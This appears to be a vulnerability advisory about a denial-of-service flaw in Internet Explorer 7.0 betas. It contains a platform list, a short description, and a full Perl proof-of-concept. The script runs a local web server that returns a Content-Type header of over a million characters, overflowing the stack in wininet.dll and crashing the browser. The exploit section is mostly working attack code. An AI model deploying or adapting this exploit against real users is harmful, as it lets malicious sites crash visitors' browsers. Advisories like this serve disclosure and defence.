− Microsoft Windows 95
− Microsoft Windows 95
− Microsoft Windows 98
− Microsoft Windows 98
+ Microsoft Windows 98SE
+ Microsoft Windows 98SE
− Microsoft Windows NT 4.0 SP6a
− Microsoft Windows NT 4.0 SP6a
− Microsoft Windows NT 4.0 SP6
− Microsoft Windows NT 4.0 SP6
− Microsoft Windows NT 4.0 SP5
− Microsoft Windows NT 4.0 SP5
− Microsoft Windows NT 4.0 SP4
− Microsoft Windows NT 4.0 SP4
− Microsoft Windows NT 4.0 SP3
− Microsoft Windows NT 4.0 SP3
Microsoft Internet Explorer 7.0 beta3
Microsoft Internet Explorer 7.0 beta2
Microsoft Internet Explorer 7.0 beta1

−\Discussion:
Microsoft Internet Explorer is prone to a denial−of−service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.
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Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate
users.

Specific information regarding affected Internet Explorer packages is not currently available. This BID will be
updated as further information is disclosed.

−\Exploit:

#!/usr/bin/perl
# Stack overflow in wininet.dll while parsing huge( > ~1M) Content−Type response
# ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow.
#
# discovered by Firestorm
#
# Usage:
# 1) run this code
# 2) open http://127.0.0.1/ with IE
#

use IO::Socket;
my $sock=new IO::Socket::INET (Listen => 1,
LocalAddr => 'localhost',
LocalPort => 80,
Proto => 'tcp');
die unless $sock;
$huge="A" x 1100000;
$|=1;
print ">http server started on port 80... try 'iexplore http://127.0.0.1/' ";
$z=$sock−>accept();
print ">connection! ";
do
{
$ln=<$z>;
print $ln;
chomp $ln;

if (($ln eq "")||($ln eq " ")||($ln eq " "))
{
print ">sending response ";
print $z "HTTP/1.1 200 OK
Server: X3 1.0
Content−Type: $huge
Connection: close

done";
close($z);
exit;
}
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} while (true);

−\References:
http://www.microsoft.com/windows/ie/
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